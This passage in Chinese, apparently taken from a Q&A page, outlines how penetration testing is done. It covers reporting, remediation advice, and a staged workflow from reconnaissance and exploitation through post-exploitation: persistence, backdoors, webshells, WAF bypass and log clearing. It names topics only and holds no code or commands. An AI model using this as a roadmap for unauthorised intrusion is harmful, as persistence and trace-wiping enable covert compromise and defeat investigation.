按需整理:按照之前第一步跟客戶確定好的范圍,需求來整理資料,並將資料形成報告
補充介紹:要對漏洞成因,驗證過程和帶來危害進行分析
修補建議:當然要對所有產生的問題提出合理高效安全的解決辦法
❾ 伺服器滲透測試怎麼做
滲透測試流程
前滲透階段
信息搜集、漏洞掃描
滲透階段
漏洞利用、OWASP Top 10、web安全漏洞、中間件漏洞、系統漏洞、許可權提升、Windows/Linux、第三方資料庫、番外:處理WAF攔截
後滲透階段
內網滲透、內網反彈(埠轉發、埠復用)、域滲透、許可權維持、系統後門(Window/Linux)、web後門(webshell、一句話木馬)、痕跡清除、系統日誌、web日誌(IIS、Apache)
❿ 什麼是wed滲透測試
應該說的是web滲透測試吧。
web就是網站、網站的應用這個層次的。
也就是主要是用於測試網站的安全性的一種安全檢測。